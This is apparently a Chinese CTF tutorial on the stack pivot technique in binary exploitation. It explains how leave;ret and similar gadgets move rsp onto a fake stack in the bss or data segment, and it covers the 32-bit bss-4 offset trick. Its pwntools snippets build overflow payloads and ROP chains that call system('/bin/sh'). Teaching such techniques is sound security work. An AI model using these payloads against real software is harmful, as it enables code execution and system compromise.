Pwn stack pivot
攻击原理
Stack Pivot 的提出背景
在实际的栈溢出利用中,经常会遇到以下情况:
-
溢出空间有限:缓冲区很小,只能覆盖返回地址和少量数据,不足以构造完整的 ROP 链
-
需要大量 ROP Gadget:复杂的攻击(如 ret2libc)需要多个 gadget 和参数,栈空间不足
-
栈上数据不可控:虽然可以覆盖返回地址,但栈上的其他数据无法完全控制
Stack Pivot(栈迁移) 技术通过修改栈指针 rsp,将栈迁移到其他可控制的内存区域(如 bss 段、堆、data 段等),从而获得更大的空间来构造完整的 ROP 链。
栈迁移的核心原理
栈迁移的核心是修改 rsp 寄存器,使其指向我们可控的内存区域。关键指令:
-
leave; ret指令:1
2leave ; 等价于 mov rsp, rbp; pop rbp
ret ; pop ripleave会将rbp的值赋给rsp,然后弹出rbp- 如果我们能控制
rbp,就能控制新的rsp
-
xchg rsp, rax; ret等指令:- 直接交换
rsp和rax的值 - 需要先通过 gadget 将目标地址放入
rax
- 直接交换
-
mov rsp, rbp; ret或mov rsp, rax; ret:- 直接将寄存器值赋给
rsp
- 直接将寄存器值赋给
栈迁移的攻击流程
第一阶段:准备新的栈空间
-
选择目标区域:
- bss 段:未初始化的全局变量区域,通常可读写
- data 段:已初始化的全局变量区域
- 堆:如果能够控制堆分配
- 确保目标区域可写且地址固定(无 PIE)或可泄露
-
在新栈空间构造 ROP 链:
1
2
3
4
5
6# 假设新栈地址为 fake_stack
fake_stack = bss_addr + 0x500 # 选择一个偏移,避免覆盖其他数据
# 在新栈上构造完整的 ROP 链
rop_chain = p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
# 写入到 fake_stack
第二阶段:执行栈迁移
-
利用有限的溢出空间:
1
2
3
4# 假设只能溢出 0x20 字节
payload = b'A' * 0x18 # 填充到 rbp
payload += p64(fake_stack) # 覆盖 saved rbp 为新栈地址
payload += p64(leave_ret) # 覆盖返回地址为 leave; ret -
执行流程:
1
2
3
4
5
6
7函数返回时执行 leave 指令:
mov rsp, rbp → rsp 指向 fake_stack(我们覆盖的 saved rbp)
pop rbp → 弹出 fake_stack 的值到 rbp(可能不重要)
然后执行 ret 指令:
pop rip → 从新栈(fake_stack)弹出第一个地址
→ 跳转到我们构造的 ROP 链的第一个 gadget -
在新栈上执行 ROP 链:
- 此时
rsp已经指向fake_stack - 后续的
ret指令会从新栈上依次弹出地址 - 完整执行我们预先构造的 ROP 链
- 此时
攻击示意图
1 | 原始栈(溢出空间有限): |
关键要点
-
leave_ret gadget:最常用的栈迁移 gadget,需要找到
leave; ret或分别找到leave和ret -
新栈地址选择:必须选择可写、地址固定(或可泄露)的内存区域
-
两次写入:通常需要先写入 ROP 链到新栈,再进行栈迁移
-
栈对齐:迁移后的栈也需要满足对齐要求(64位16字节对齐)
-
地址泄露:如果目标区域地址不固定(PIE),需要先泄露地址
例题
[Black Watch 入群题]PWN
https://buuoj.cn/challenges#[Black Watch 入群题]PWN
1 | from pwn import * |
思路总结
Stack Pivot(栈迁移)是解决溢出空间不足问题的关键技术,通过将栈指针迁移到可控的内存区域,获得足够的空间来构造完整的 ROP 链。
攻击步骤
-
分析溢出空间限制
- 确定可以覆盖的字节数
- 判断是否足够构造完整的 ROP 链
- 如果不足,考虑使用栈迁移
-
查找栈迁移 Gadget
1
2
3
4
5
6
7
8
9
10# 方法1:使用 ROPgadget
# ROPgadget --binary ./binary | grep "leave"
# ROPgadget --binary ./binary | grep "mov rsp"
# 方法2:使用 pwntools
rop = ROP(elf)
leave_ret = rop.find_gadget(['leave', 'ret'])[0]
# 或者分别查找
leave = rop.find_gadget(['leave'])[0]
ret = rop.find_gadget(['ret'])[0] -
选择新栈地址
1
2
3
4
5
6
7
8
9
10# 方法1:使用 bss 段
bss_addr = elf.bss() # 获取 bss 段起始地址
fake_stack = bss_addr + 0x500 # 选择一个偏移
# 方法2:使用 data 段
data_addr = elf.symbols['__data_start']
fake_stack = data_addr + 0x100
# 方法3:如果地址不固定,需要先泄露
# 通过其他漏洞泄露地址,然后计算 fake_stack -
构造新栈上的 ROP 链
1
2
3
4
5
6
7
8
9
10# 在新栈地址上构造完整的 ROP 链
rop_chain = b''
rop_chain += p64(pop_rdi) # 设置第一个参数
rop_chain += p64(bin_sh_addr) # "/bin/sh" 地址
rop_chain += p64(system_addr) # system 函数地址
# 可以继续添加更多 gadget
# 将 ROP 链写入新栈(需要找到写入方法)
# 方法1:如果程序有 read/gets 等函数可以写入
# 方法2:如果可以通过其他方式写入 -
执行栈迁移
1
2
3
4
5
6
7
8# 利用有限的溢出空间
offset = 0x18 # 到 saved rbp 的偏移
payload = b'A' * offset
payload += p64(fake_stack) # 覆盖 saved rbp
payload += p64(leave_ret) # 覆盖返回地址
io.sendline(payload) -
在新栈上执行攻击
- 栈迁移后,
rsp指向fake_stack - 后续的
ret指令会从新栈上执行 ROP 链 - 完成最终的攻击目标(如获取 shell)
- 栈迁移后,
关键技巧
-
leave_ret Gadget 的查找
- 优先查找
leave; ret(一条指令,更稳定) - 如果没有,可以查找
leave和ret,但需要确保它们连续或可以连接 - 某些情况下可以使用
mov rsp, rbp; ret等替代
- 优先查找
-
新栈地址的选择
- bss 段:最常用,通常可写且地址固定
- data 段:也可用,但需要注意不要覆盖重要数据
- 堆:如果能够控制堆分配,也是不错的选择
- 避免冲突:选择地址时要有足够偏移,避免覆盖程序使用的数据
-
EBP = bss - 4 的巧妙之处
在32位系统中,使用
saved_ebp = bss - 4而不是直接使用bss有一个巧妙的技巧:leave 指令的执行过程(32位):
1
leave ; 等价于 mov esp, ebp; pop ebp
执行流程分析:
1
2
3
4
5
6
7
8
9
10初始状态:
saved_ebp = bss - 4 (我们覆盖的值)
esp 指向 saved_ebp 的位置
执行 mov esp, ebp:
esp = bss - 4 (esp 现在指向 bss - 4)
执行 pop ebp:
从 esp(bss - 4)位置读取4字节 → ebp
同时 esp += 4,所以 esp = bss巧妙之处:
-
pop ebp会读取bss位置的值(因为 bss - 4 + 4 = bss) -
更重要的是,
esp会变成bss(正好是我们写入 ROP 链的位置) -
这样
ret指令执行时,会从bss位置弹出第一个 gadget 地址
为什么不用 bss 直接作为 saved_ebp?
1
2
3
4
5
6
7
8
9# 如果使用 saved_ebp = bss:
# 执行 mov esp, ebp 后:esp = bss
# 执行 pop ebp 后:ebp = [bss](读取第一个 gadget 地址),esp = bss + 4
# 这样 esp 指向 bss + 4,跳过了第一个 gadget!
# 使用 saved_ebp = bss - 4:
# 执行 mov esp, ebp 后:esp = bss - 4
# 执行 pop ebp 后:ebp = [bss](读取第一个 gadget 地址),esp = bss
# 这样 esp 正好指向 bss,ret 会执行第一个 gadget实际应用:
1
2
3
4
5
6
7# 第一次:写入 ROP 链到 bss
payload1 = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
# 写入到 bss 位置
# 第二次:栈迁移
payload2 = b'A' * offset + p32(bss - 4) + p32(leave_ret)
# saved_ebp = bss - 4,执行后 esp 指向 bss这个技巧在32位系统中特别有用,可以精确控制栈指针的位置。
-
-
ROP 链的写入方法
- read 函数:如果程序有
read,可以先调用read(0, fake_stack, 0x100)写入 - gets 函数:类似 read,但需要注意换行符
- 栈溢出 + read:第一次溢出调用 read 写入 ROP 链,第二次溢出执行栈迁移
- 格式化字符串:如果有格式化字符串漏洞,也可以写入
- read 函数:如果程序有
-
两次利用的配合
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17# 第一次:写入 ROP 链到新栈
payload1 = b'A' * offset
payload1 += p64(pop_rdi) + p64(0) # read 的第一个参数:stdin
payload1 += p64(pop_rsi) + p64(fake_stack) # read 的第二个参数:目标地址
payload1 += p64(pop_rdx) + p64(0x200) # read 的第三个参数:长度
payload1 += p64(read_plt) # 调用 read
payload1 += p64(main_addr) # 返回 main
io.sendline(payload1)
io.sendline(rop_chain) # 发送 ROP 链数据
# 第二次:执行栈迁移
payload2 = b'A' * offset
payload2 += p64(fake_stack) # 覆盖 saved rbp
payload2 += p64(leave_ret) # 覆盖返回地址
io.sendline(payload2) -
栈对齐处理
- 迁移后的栈也需要满足 16 字节对齐
- 如果不对齐,可以在 ROP 链开头添加
retgadget - 计算
fake_stack地址时考虑对齐
-
地址泄露(PIE 情况)
1
2
3
4
5# 如果目标区域地址不固定,需要先泄露
# 泄露某个函数的地址,计算基地址
# 然后计算 fake_stack 的真实地址
base_addr = leaked_addr - offset
fake_stack = base_addr + bss_offset + 0x500
常见问题
-
找不到 leave_ret:尝试查找其他栈迁移 gadget,如
mov rsp, rbp; ret或xchg rsp, rax; ret -
新栈地址不可写:检查目标区域的权限,选择其他可写区域
-
ROP 链写入失败:检查 read/gets 的参数是否正确,确保有写入权限
-
迁移后程序崩溃:检查栈对齐,确保 ROP 链构造正确
-
地址计算错误:仔细计算偏移量,使用 gdb 动态调试验证地址
与其他技术结合
-
ret2libc + stack pivot:在空间不足时,先迁移栈,再在新栈上构造 ret2libc
-
ROP + stack pivot:复杂 ROP 链需要大量空间时使用栈迁移
-
格式化字符串 + stack pivot:通过格式化字符串写入 ROP 链,然后栈迁移执行
